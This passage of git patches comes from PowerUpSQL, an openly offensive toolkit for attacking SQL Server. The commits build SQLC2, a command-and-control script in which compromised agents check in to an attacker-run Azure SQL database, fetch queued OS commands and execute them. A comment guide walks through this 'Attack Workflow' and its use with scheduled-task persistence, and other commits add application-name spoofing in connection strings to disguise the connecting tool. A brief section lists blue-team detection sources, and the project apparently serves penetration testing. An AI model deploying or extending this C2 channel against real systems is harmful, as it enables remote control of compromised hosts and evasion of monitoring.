+ " + $Query + # Execute Query + $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose + + # check command count + $CommandCount = $TblResults.row.count + + Write-Verbose "$instance : $CommandCount commands were from $env:COMPUTERNAME." + } + + End + { + # Return data + $TblResults + } + } From 2167d3bc4c40f5b47d9d53a6213213884ae75dd3 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Thu, 17 May 2018 14:14:36 -0500 Subject: [PATCH 13/27] Update SQLC2.ps1 --- scripts/pending/SQLC2.ps1 | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) diff --git a/scripts/pending/SQLC2.ps1 b/scripts/pending/SQLC2.ps1 index 812ca93..168591e 100644 --- a/scripts/pending/SQLC2.ps1 +++ b/scripts/pending/SQLC2.ps1 @@ -798,10 +798,11 @@ Function Register-SQLC2Agent # Setup query to grab commands $Query = " -- checkin as agent - IF not Exists (SELECT * FROM dbo.C2Agents WHERE servername = 'NETSPI-419-SSU') - INSERT dbo.C2Agents (servername) VALUES ('NETSPI-419-SSU') + IF not Exists (SELECT * FROM dbo.C2Agents WHERE servername = '$env:COMPUTERNAME') + INSERT dbo.C2Agents (servername) VALUES ('$env:COMPUTERNAME') ELSE - UPDATE dbo.C2Agents SET lastcheckin = (select GETDATE ())" + UPDATE dbo.C2Agents SET lastcheckin = (select GETDATE ()) + WHERE servername like 'env:COMPUTERNAME'" # Execute Query $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose @@ -1042,7 +1043,7 @@ Function Set-SQLC2Command if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Success." - Write-Verbose "$instance : Attempting to set command on C2 Server $env:COMPUTERNAME for $ServerName agent(s)." + Write-Verbose "$instance : Attempting to set command on C2 Server $Instance for $ServerName agent(s)." Write-Verbose "$instance : Command: $Command" } } @@ -1061,7 +1062,7 @@ Function Set-SQLC2Command # Execute Query $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose - Write-Verbose "$instance : Command added for $ServerName agent(s) on C2 server $env:COMPUTERNAME." + Write-Verbose "$instance : Command added for $ServerName agent(s) on C2 server $Instance." } End @@ -1162,7 +1163,7 @@ Function Get-SQLC2Command if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Success." - Write-Verbose "$instance : Attempting to grab command from $env:COMPUTERNAME ." + Write-Verbose "$instance : Attempting to grab command from $Instance." } } else @@ -1186,7 +1187,7 @@ Function Get-SQLC2Command # check command count $CommandCount = $TblResults | measure | select count -ExpandProperty count - Write-Verbose "$instance : $CommandCount commands were from $env:COMPUTERNAME." + Write-Verbose "$instance : $CommandCount commands were from $Instance." } End From 15b5b6e4f1d3ab0e5dea3df40c55f2daabc77a4c Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Thu, 17 May 2018 14:17:45 -0500 Subject: [PATCH 14/27] Update SQLC2.ps1 --- scripts/pending/SQLC2.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/scripts/pending/SQLC2.ps1 b/scripts/pending/SQLC2.ps1 index 168591e..10cfb0b 100644 --- a/scripts/pending/SQLC2.ps1 +++ b/scripts/pending/SQLC2.ps1 @@ -802,7 +802,7 @@ Function Register-SQLC2Agent INSERT dbo.C2Agents (servername) VALUES ('$env:COMPUTERNAME') ELSE UPDATE dbo.C2Agents SET lastcheckin = (select GETDATE ()) - WHERE servername like 'env:COMPUTERNAME'" + WHERE servername like '$env:COMPUTERNAME'" # Execute Query $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose From 450634e540076f0fbe530156fe4c25d72943ed9e Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Thu, 17 May 2018 14:48:07 -0500 Subject: [PATCH 15/27] Added mini guide in comments. --- scripts/pending/SQLC2.ps1 | 60 +++++++++++++++++++++++++++++++++++++++ 1 file changed, 60 insertions(+) diff --git a/scripts/pending/SQLC2.ps1 b/scripts/pending/SQLC2.ps1 index 10cfb0b..c4a63da 100644 --- a/scripts/pending/SQLC2.ps1 +++ b/scripts/pending/SQLC2.ps1 @@ -8,6 +8,66 @@ and command grabbing from the C2 SQL Server. Author: Scott Sutherland (@_nullbind), NetSPI 2018 License: BSD 3-Clause + Mini Guide: + + ---------------------------- + Azure Configuration Overview + ---------------------------- + + 1. Create an Azure account and log in. + + 3. Create a SQL server databse. In this example the server will be named sqlcloudc2 and the datatabase will be named database1. + + 4. Add a virtual firewall exception for the target networks that you will be receiving connections from. + + ---------------------------- + Attack Workflow Overview + ---------------------------- + 1. Install SQLC2. + + Install C2 tables in remote SQL Server instance. You will need to provide an database that you have the ability to create tables in, or create a new at database. However, in Azure I've been getting some timeouts which is why you should have already created the target database through Azure. + + Example command: + Install-SQLC2 -Username CloudAdmin -Password 'CloudPassword!' -Instance sqlcloudc2.database.windows.net -Database database1 -Verbose + + 2. Setup OS command. + + Set a OS command to run on all agent systems. You can also configure commands to run on a specific agent using the -ServerName paremeter. + + Example command: + Set-SQLC2Command -Username CloudAdmin -Password 'CloudPassword!' -Instance sqlcloudc2.database.windows.net -Database database1 -Verbose -Command "Whoami" + + 3. List queued commands. + + The command below will query the SQLC2 server for a list of commands queued for the agent to execute. This will only output the commands, it will not execute them. + + Example command: + Get-SQLC2Command -Username CloudAdmin -Password 'CloudPassword!' -Instance sqlcloudc2.database.windows.net -Database database1 -Verbose + + 4. The agent will automatically be registered. To list the registered agent use the command below. + + Get-SQLC2Agent -Username CloudAdmin -Password 'CloudPassword!' -Instance sqlcloudc2.database.windows.net -Database database1 -Verbose + + 3. Execute queued commands. + + The command below will query the SQLC2 server for a list of commands queued for the agent to execute. Including the -Execute flag will automatically run them. This command could be used in combination with your prefered persistence method such as a scheduled task. + + Example command: + Get-SQLC2Command -Username CloudAdmin -Password 'CloudPassword!' -Instance sqlcloudc2.database.windows.net -Database database1 -Verbose -Execute + + 6. View command results. + + The command below can be used to retrieve the command results. By default it shows the entire command history. However, results can be filtered by -Status, -ServerName, and -Cid. + + Example command: + Get-SQLC2Result -Username CloudAdmin -Password 'CloudPassword!' -Instance sqlcloudc2.database.windows.net -Database database1 -Verbose -Status 'success' + + ---------------------------- + Blue Team Datasource Notes + ---------------------------- + 1. PowerShell logging. + 2. EDR showing PowerShell connecting to the internet. Specifically, *.database.windows.net (Azure) + 3. EDR showing specific commands being executed such as "Get-SQLC2Comand". #> From 144dd1de2e9cea218044cbc7cd5011137a77ed22 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Thu, 17 May 2018 14:49:00 -0500 Subject: [PATCH 16/27] Update SQLC2.ps1 --- scripts/pending/SQLC2.ps1 | 76 +++++++++++++++++++-------------------- 1 file changed, 38 insertions(+), 38 deletions(-) diff --git a/scripts/pending/SQLC2.ps1 b/scripts/pending/SQLC2.ps1 index c4a63da..057d52c 100644 --- a/scripts/pending/SQLC2.ps1 +++ b/scripts/pending/SQLC2.ps1 @@ -8,66 +8,66 @@ and command grabbing from the C2 SQL Server. Author: Scott Sutherland (@_nullbind), NetSPI 2018 License: BSD 3-Clause - Mini Guide: + Mini Guide: - ---------------------------- - Azure Configuration Overview - ---------------------------- + ---------------------------- + Azure Configuration Overview + ---------------------------- - 1. Create an Azure account and log in. + 1. Create an Azure account and log in. - 3. Create a SQL server databse. In this example the server will be named sqlcloudc2 and the datatabase will be named database1. + 3. Create a SQL server databse. In this example the server will be named sqlcloudc2 and the datatabase will be named database1. - 4. Add a virtual firewall exception for the target networks that you will be receiving connections from. + 4. Add a virtual firewall exception for the target networks that you will be receiving connections from. - ---------------------------- - Attack Workflow Overview - ---------------------------- - 1. Install SQLC2. + ---------------------------- + Attack Workflow Overview + ---------------------------- + 1. Install SQLC2. - Install C2 tables in remote SQL Server instance. You will need to provide an database that you have the ability to create tables in, or create a new at database. However, in Azure I've been getting some timeouts which is why you should have already created the target database through Azure. + Install C2 tables in remote SQL Server instance. You will need to provide an database that you have the ability to create tables in, or create a new at database. However, in Azure I've been getting some timeouts which is why you should have already created the target database through Azure. - Example command: - Install-SQLC2 -Username CloudAdmin -Password 'CloudPassword!' -Instance sqlcloudc2.database.windows.net -Database database1 -Verbose + Example command: + Install-SQLC2 -Username CloudAdmin -Password 'CloudPassword!' -Instance sqlcloudc2.database.windows.net -Database database1 -Verbose - 2. Setup OS command. + 2. Setup OS command. - Set a OS command to run on all agent systems. You can also configure commands to run on a specific agent using the -ServerName paremeter. + Set a OS command to run on all agent systems. You can also configure commands to run on a specific agent using the -ServerName paremeter. - Example command: - Set-SQLC2Command -Username CloudAdmin -Password 'CloudPassword!' -Instance sqlcloudc2.database.windows.net -Database database1 -Verbose -Command "Whoami" + Example command: + Set-SQLC2Command -Username CloudAdmin -Password 'CloudPassword!' -Instance sqlcloudc2.database.windows.net -Database database1 -Verbose -Command "Whoami" - 3. List queued commands. + 3. List queued commands. - The command below will query the SQLC2 server for a list of commands queued for the agent to execute. This will only output the commands, it will not execute them. + The command below will query the SQLC2 server for a list of commands queued for the agent to execute. This will only output the commands, it will not execute them. - Example command: - Get-SQLC2Command -Username CloudAdmin -Password 'CloudPassword!' -Instance sqlcloudc2.database.windows.net -Database database1 -Verbose + Example command: + Get-SQLC2Command -Username CloudAdmin -Password 'CloudPassword!' -Instance sqlcloudc2.database.windows.net -Database database1 -Verbose - 4. The agent will automatically be registered. To list the registered agent use the command below. + 4. The agent will automatically be registered. To list the registered agent use the command below. - Get-SQLC2Agent -Username CloudAdmin -Password 'CloudPassword!' -Instance sqlcloudc2.database.windows.net -Database database1 -Verbose + Get-SQLC2Agent -Username CloudAdmin -Password 'CloudPassword!' -Instance sqlcloudc2.database.windows.net -Database database1 -Verbose - 3. Execute queued commands. + 3. Execute queued commands. - The command below will query the SQLC2 server for a list of commands queued for the agent to execute. Including the -Execute flag will automatically run them. This command could be used in combination with your prefered persistence method such as a scheduled task. + The command below will query the SQLC2 server for a list of commands queued for the agent to execute. Including the -Execute flag will automatically run them. This command could be used in combination with your prefered persistence method such as a scheduled task. - Example command: - Get-SQLC2Command -Username CloudAdmin -Password 'CloudPassword!' -Instance sqlcloudc2.database.windows.net -Database database1 -Verbose -Execute + Example command: + Get-SQLC2Command -Username CloudAdmin -Password 'CloudPassword!' -Instance sqlcloudc2.database.windows.net -Database database1 -Verbose -Execute - 6. View command results. + 6. View command results. - The command below can be used to retrieve the command results. By default it shows the entire command history. However, results can be filtered by -Status, -ServerName, and -Cid. + The command below can be used to retrieve the command results. By default it shows the entire command history. However, results can be filtered by -Status, -ServerName, and -Cid. - Example command: - Get-SQLC2Result -Username CloudAdmin -Password 'CloudPassword!' -Instance sqlcloudc2.database.windows.net -Database database1 -Verbose -Status 'success' + Example command: + Get-SQLC2Result -Username CloudAdmin -Password 'CloudPassword!' -Instance sqlcloudc2.database.windows.net -Database database1 -Verbose -Status 'success' - ---------------------------- - Blue Team Datasource Notes - ---------------------------- - 1. PowerShell logging. - 2. EDR showing PowerShell connecting to the internet. Specifically, *.database.windows.net (Azure) - 3. EDR showing specific commands being executed such as "Get-SQLC2Comand". + ---------------------------- + Blue Team Datasource Notes + ---------------------------- + 1. PowerShell logging. + 2. EDR showing PowerShell connecting to the internet. Specifically, *.database.windows.net (Azure) + 3. EDR showing specific commands being executed such as "Get-SQLC2Comand". #> From 29ab2855fccbd315b7a7c3f6e45ba39c6755bd46 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Thu, 17 May 2018 16:45:21 -0500 Subject: [PATCH 17/27] Updated Get-SQLQuery and Get-SQLConnectionObject Added the option to spoof the name of the application connecting to the SQL Server through the "application name" connection string option. --- PowerUpSQL.ps1 | 37 ++++++++++++++++++++++++++++--------- 1 file changed, 28 insertions(+), 9 deletions(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index ed9e287..90e8f8a 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2016 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.103.3 + Version: 1.103.5 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -23,7 +23,7 @@ # Reference: https://msdn.microsoft.com/en-us/library/ms188247.aspx # Reference: https://raw.githubusercontent.com/sqlcollaborative/dbatools/master/functions/SharedFunctions.ps1 # Reference: https://blogs.msdn.microsoft.com/spike/2008/11/14/connectionstrings-mixing-usernames-and-windows-authentication-who-goes-first/ -Function Get-SQLConnectionObject +Function Get-SQLConnectionObject { <# .SYNOPSIS @@ -36,6 +36,8 @@ Function Get-SQLConnectionObject SQL Server credential. .PARAMETER Database Default database to connect to. + .PARAMETER AppName + Spoof the name of the application you are connecting to SQL Server with. .EXAMPLE PS C:\> Get-SQLConnectionObject -Username MySQLUser -Password MySQLPassword @@ -83,6 +85,10 @@ Function Get-SQLConnectionObject HelpMessage = 'Default database to connect to.')] [String]$Database, + [Parameter(Mandatory = $false, + HelpMessage = 'Spoof the name of the application your connecting to the server with.')] + [string]$AppName = "", + [Parameter(Mandatory = $false, HelpMessage = 'Connection timeout.')] [string]$TimeOut = 1 @@ -105,6 +111,13 @@ Function Get-SQLConnectionObject { $Database = 'Master' } + + # Check appname was provided + if($AppName){ + $AppNameString = ";Application Name=`"$AppName`"" + }else{ + $AppNameString = "" + } } Process @@ -125,7 +138,7 @@ Function Get-SQLConnectionObject $AuthenticationType = "Current Windows Credentials" # Set connection string - $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;Connection Timeout=1" + $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;Connection Timeout=1 $AppNameString" } # Set authentcation type - provided windows user @@ -133,7 +146,7 @@ Function Get-SQLConnectionObject $AuthenticationType = "Provided Windows Credentials" # Setup connection string - $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;uid=$Username;pwd=$Password;Connection Timeout=$TimeOut" + $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;uid=$Username;pwd=$Password;Connection Timeout=$TimeOut $AppNameString" } # Set authentcation type - provided sql login @@ -143,7 +156,7 @@ Function Get-SQLConnectionObject $AuthenticationType = "Provided SQL Login" # Setup connection string - $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;User ID=$Username;Password=$Password;Connection Timeout=$TimeOut" + $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;User ID=$Username;Password=$Password;Connection Timeout=$TimeOut $AppNameString" } # Return the connection object @@ -482,11 +495,11 @@ Function Get-SQLConnectionTestThreaded # Get-SQLQuery # ---------------------------------- # Author: Scott Sutherland -Function Get-SQLQuery +Function Get-SQLQuery { <# .SYNOPSIS - Executes a query on target SQL servers.This + Executes a query on target SQL servers. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password @@ -507,6 +520,8 @@ Function Get-SQLQuery Number of concurrent threads. .PARAMETER Query Query to be executed on the SQL Server. + .PARAMETER AppName + Spoof the name of the application you are connecting to SQL Server with. .EXAMPLE PS C:\> Get-SQLQuery -Verbose -Instance "SQLSERVER1.domain.com\SQLExpress" -Query "Select @@version" -Threads 15 .EXAMPLE @@ -557,6 +572,10 @@ Function Get-SQLQuery HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose, + [Parameter(Mandatory = $false, + HelpMessage = 'Spoof the name of the application your connecting to the server with.')] + [string]$AppName = "", + [Parameter(Mandatory = $false, HelpMessage = 'Return error message if exists.')] [switch]$ReturnError @@ -574,12 +593,12 @@ Function Get-SQLQuery if($DAC) { # Create connection object - $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -DAC -Database $Database + $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -DAC -Database $Database -AppName $AppName } else { # Create connection object - $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -Database $Database + $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -Database $Database -AppName $AppName } # Parse SQL Server instance name From 4728e58c46ef7fd40ae533f92ac122f3175641e4 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Fri, 18 May 2018 08:01:50 -0500 Subject: [PATCH 18/27] Added connection options. Added encrypt and TrustServerCertificate connection string options. --- scripts/pending/SQLC2.ps1 | 55 ++++++++++++++++++++++++++++++++++----- 1 file changed, 49 insertions(+), 6 deletions(-) diff --git a/scripts/pending/SQLC2.ps1 b/scripts/pending/SQLC2.ps1 index 057d52c..7b630c7 100644 --- a/scripts/pending/SQLC2.ps1 +++ b/scripts/pending/SQLC2.ps1 @@ -90,6 +90,10 @@ Function Get-SQLConnectionObject Default database to connect to. .PARAMETER AppName Spoof the name of the application you are connecting to SQL Server with. + .PARAMETER Encrypt + Use an encrypted connection. + .PARAMETER TrustServerCert + Trust the certificate of the remote server. .EXAMPLE PS C:\> Get-SQLConnectionObject -Username MySQLUser -Password MySQLPassword @@ -139,7 +143,17 @@ Function Get-SQLConnectionObject [Parameter(Mandatory = $false, HelpMessage = 'Spoof the name of the application your connecting to the server with.')] - [string]$AppName = "Microsoft SQL Server Management Studio - Query", + [string]$AppName = "", + + [Parameter(Mandatory = $false, + HelpMessage = 'Use an encrypted connection.')] + [ValidateSet("Yes","No","")] + [string]$Encrypt = "", + + [Parameter(Mandatory = $false, + HelpMessage = 'Trust the certificate of the remote server.')] + [ValidateSet("Yes","No","")] + [string]$TrustServerCert = "", [Parameter(Mandatory = $false, HelpMessage = 'Connection timeout.')] @@ -164,11 +178,26 @@ Function Get-SQLConnectionObject $Database = 'Master' } + # Check if appname was provided if($AppName){ $AppNameString = ";Application Name=`"$AppName`"" }else{ $AppNameString = "" } + + # Check if encrypt was provided + if($Encrypt){ + $EncryptString = ";Encrypt=Yes" + }else{ + $EncryptString = "" + } + + # Check appname was provided + if($TrustServerCert){ + $TrustCertString = ";TrustServerCertificate=Yes" + }else{ + $TrustCertString = "" + } } Process @@ -189,7 +218,7 @@ Function Get-SQLConnectionObject $AuthenticationType = "Current Windows Credentials" # Set connection string - $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;Connection Timeout=1 $AppNameString" + $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;Connection Timeout=1 $AppNameString $EncryptString $TrustCertString" } # Set authentcation type - provided windows user @@ -197,7 +226,7 @@ Function Get-SQLConnectionObject $AuthenticationType = "Provided Windows Credentials" # Setup connection string - $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;uid=$Username;pwd=$Password;Connection Timeout=$TimeOut $AppNameString" + $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;uid=$Username;pwd=$Password;Connection Timeout=$TimeOut$AppNameString$EncryptString$TrustCertString" } # Set authentcation type - provided sql login @@ -207,7 +236,7 @@ Function Get-SQLConnectionObject $AuthenticationType = "Provided SQL Login" # Setup connection string - $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;User ID=$Username;Password=$Password;Connection Timeout=$TimeOut $AppNameString" + $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;User ID=$Username;Password=$Password;Connection Timeout=$TimeOut $AppNameString$EncryptString$TrustCertString" } # Return the connection object @@ -251,6 +280,10 @@ Function Get-SQLQuery Query to be executed on the SQL Server. .PARAMETER AppName Spoof the name of the application you are connecting to SQL Server with. + .PARAMETER Encrypt + Use an encrypted connection. + .PARAMETER TrustServerCert + Trust the certificate of the remote server. .EXAMPLE PS C:\> Get-SQLQuery -Verbose -Instance "SQLSERVER1.domain.com\SQLExpress" -Query "Select @@version" -Threads 15 .EXAMPLE @@ -305,6 +338,16 @@ Function Get-SQLQuery HelpMessage = 'Spoof the name of the application your connecting to the server with.')] [string]$AppName = "", + [Parameter(Mandatory = $false, + HelpMessage = 'Use an encrypted connection.')] + [ValidateSet("Yes","No","")] + [string]$Encrypt = "", + + [Parameter(Mandatory = $false, + HelpMessage = 'Trust the certificate of the remote server.')] + [ValidateSet("Yes","No","")] + [string]$TrustServerCert = "", + [Parameter(Mandatory = $false, HelpMessage = 'Return error message if exists.')] [switch]$ReturnError @@ -322,12 +365,12 @@ Function Get-SQLQuery if($DAC) { # Create connection object - $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -DAC -Database $Database -AppName $AppName + $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -DAC -Database $Database -AppName $AppName -Encrypt $Encrypt -TrustServerCert $TrustServerCert } else { # Create connection object - $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -Database $Database -AppName $AppName + $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -Database $Database -AppName $AppName -Encrypt $Encrypt -TrustServerCert $TrustServerCert } # Parse SQL Server instance name From b00a5bea296c4f4c23c579d93029e606fbadc122 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Fri, 18 May 2018 08:13:54 -0500 Subject: [PATCH 19/27] Updates to Get-SQLConnectionObject and Get-SQLQuery Added encrypt and trust server certificate connection options. --- PowerUpSQL.ps1 | 76 +++++++++++++++++++++++++++++---------- scripts/pending/SQLC2.ps1 | 22 ++++++------ 2 files changed, 69 insertions(+), 29 deletions(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index 90e8f8a..ed0042e 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2016 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.103.5 + Version: 1.103.7 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -13,7 +13,7 @@ ######################################################################### # #region CORE FUNCTIONS -#h +# ######################################################################### # ---------------------------------- @@ -38,24 +38,27 @@ Function Get-SQLConnectionObject Default database to connect to. .PARAMETER AppName Spoof the name of the application you are connecting to SQL Server with. + .PARAMETER Encrypt + Use an encrypted connection. + .PARAMETER TrustServerCert + Trust the certificate of the remote server. .EXAMPLE - PS C:\> Get-SQLConnectionObject -Username MySQLUser -Password MySQLPassword - + PS C:\> Get-SQLConnectionObject -Username myuser -Password mypass -Instance server1 -Encrypt Yes -TrustServerCert Yes -AppName "myapp" StatisticsEnabled : False - AccessToken : - ConnectionString : Server=SQLServer1;Database=Master;User ID=MySQLUser;Password=MySQLPassword;Connection Timeout=1 + AccessToken : + ConnectionString : Server=server1;Database=Master;User ID=myuser;Password=mypass;Connection Timeout=1 ;Application + Name="myapp";Encrypt=Yes;TrustServerCertificate=Yes ConnectionTimeout : 1 Database : Master - DataSource : SQLServer1 + DataSource : server1 PacketSize : 8000 ClientConnectionId : 00000000-0000-0000-0000-000000000000 - ServerVersion : + ServerVersion : State : Closed - WorkstationId : SQLServer1 - Credential : + Credential : FireInfoMessageEventOnUserErrors : False - Site : - Container : + Site : + Container : #> [CmdletBinding()] Param( @@ -89,6 +92,16 @@ Function Get-SQLConnectionObject HelpMessage = 'Spoof the name of the application your connecting to the server with.')] [string]$AppName = "", + [Parameter(Mandatory = $false, + HelpMessage = 'Use an encrypted connection.')] + [ValidateSet("Yes","No","")] + [string]$Encrypt = "", + + [Parameter(Mandatory = $false, + HelpMessage = 'Trust the certificate of the remote server.')] + [ValidateSet("Yes","No","")] + [string]$TrustServerCert = "", + [Parameter(Mandatory = $false, HelpMessage = 'Connection timeout.')] [string]$TimeOut = 1 @@ -112,12 +125,25 @@ Function Get-SQLConnectionObject $Database = 'Master' } - # Check appname was provided + # Check if appname was provided if($AppName){ $AppNameString = ";Application Name=`"$AppName`"" }else{ $AppNameString = "" } + + # Check if encrypt was provided + if($Encrypt){ + $EncryptString = ";Encrypt=Yes" + }else{ + $EncryptString = "" + } + + if($TrustServerCert){ + $TrustCertString = ";TrustServerCertificate=Yes" + }else{ + $TrustCertString = "" + } } Process @@ -138,7 +164,7 @@ Function Get-SQLConnectionObject $AuthenticationType = "Current Windows Credentials" # Set connection string - $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;Connection Timeout=1 $AppNameString" + $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;Connection Timeout=1 $AppNameString $EncryptString $TrustCertString" } # Set authentcation type - provided windows user @@ -146,7 +172,7 @@ Function Get-SQLConnectionObject $AuthenticationType = "Provided Windows Credentials" # Setup connection string - $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;uid=$Username;pwd=$Password;Connection Timeout=$TimeOut $AppNameString" + $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;uid=$Username;pwd=$Password;Connection Timeout=$TimeOut$AppNameString$EncryptString$TrustCertString" } # Set authentcation type - provided sql login @@ -156,7 +182,7 @@ Function Get-SQLConnectionObject $AuthenticationType = "Provided SQL Login" # Setup connection string - $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;User ID=$Username;Password=$Password;Connection Timeout=$TimeOut $AppNameString" + $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;User ID=$Username;Password=$Password;Connection Timeout=$TimeOut $AppNameString$EncryptString$TrustCertString" } # Return the connection object @@ -522,6 +548,10 @@ Function Get-SQLQuery Query to be executed on the SQL Server. .PARAMETER AppName Spoof the name of the application you are connecting to SQL Server with. + .PARAMETER Encrypt + Use an encrypted connection. + .PARAMETER TrustServerCert + Trust the certificate of the remote server. .EXAMPLE PS C:\> Get-SQLQuery -Verbose -Instance "SQLSERVER1.domain.com\SQLExpress" -Query "Select @@version" -Threads 15 .EXAMPLE @@ -576,6 +606,16 @@ Function Get-SQLQuery HelpMessage = 'Spoof the name of the application your connecting to the server with.')] [string]$AppName = "", + [Parameter(Mandatory = $false, + HelpMessage = 'Use an encrypted connection.')] + [ValidateSet("Yes","No","")] + [string]$Encrypt = "", + + [Parameter(Mandatory = $false, + HelpMessage = 'Trust the certificate of the remote server.')] + [ValidateSet("Yes","No","")] + [string]$TrustServerCert = "", + [Parameter(Mandatory = $false, HelpMessage = 'Return error message if exists.')] [switch]$ReturnError @@ -593,12 +633,12 @@ Function Get-SQLQuery if($DAC) { # Create connection object - $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -DAC -Database $Database -AppName $AppName + $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -DAC -Database $Database -AppName $AppName -Encrypt $Encrypt -TrustServerCert $TrustServerCert } else { # Create connection object - $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -Database $Database -AppName $AppName + $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -Database $Database -AppName $AppName -Encrypt $Encrypt -TrustServerCert $TrustServerCert } # Parse SQL Server instance name diff --git a/scripts/pending/SQLC2.ps1 b/scripts/pending/SQLC2.ps1 index 7b630c7..7c2611a 100644 --- a/scripts/pending/SQLC2.ps1 +++ b/scripts/pending/SQLC2.ps1 @@ -95,23 +95,23 @@ Function Get-SQLConnectionObject .PARAMETER TrustServerCert Trust the certificate of the remote server. .EXAMPLE - PS C:\> Get-SQLConnectionObject -Username MySQLUser -Password MySQLPassword - + PS C:\> Get-SQLConnectionObject -Username myuser -Password mypass -Instance server1 -Encrypt Yes -TrustServerCert Yes -AppName "myapp" StatisticsEnabled : False - AccessToken : - ConnectionString : Server=SQLServer1;Database=Master;User ID=MySQLUser;Password=MySQLPassword;Connection Timeout=1 + AccessToken : + ConnectionString : Server=server1;Database=Master;User ID=myuser;Password=mypass;Connection Timeout=1 ;Application + Name="myapp";Encrypt=Yes;TrustServerCertificate=Yes ConnectionTimeout : 1 Database : Master - DataSource : SQLServer1 + DataSource : server1 PacketSize : 8000 ClientConnectionId : 00000000-0000-0000-0000-000000000000 - ServerVersion : + ServerVersion : State : Closed - WorkstationId : SQLServer1 - Credential : + WorkstationId : Workstation1 + Credential : FireInfoMessageEventOnUserErrors : False - Site : - Container : + Site : + Container : #> [CmdletBinding()] Param( @@ -192,7 +192,7 @@ Function Get-SQLConnectionObject $EncryptString = "" } - # Check appname was provided + # Check TrustServerCert was provided if($TrustServerCert){ $TrustCertString = ";TrustServerCertificate=Yes" }else{ From 8fd3b2af027abf7c90ba8f85e6de690a799b4b47 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Fri, 18 May 2018 08:14:14 -0500 Subject: [PATCH 20/27] Comment updates --- PowerUpSQL.ps1 | 2 ++ 1 file changed, 2 insertions(+) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index ed0042e..db0b7ad 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -55,6 +55,7 @@ Function Get-SQLConnectionObject ClientConnectionId 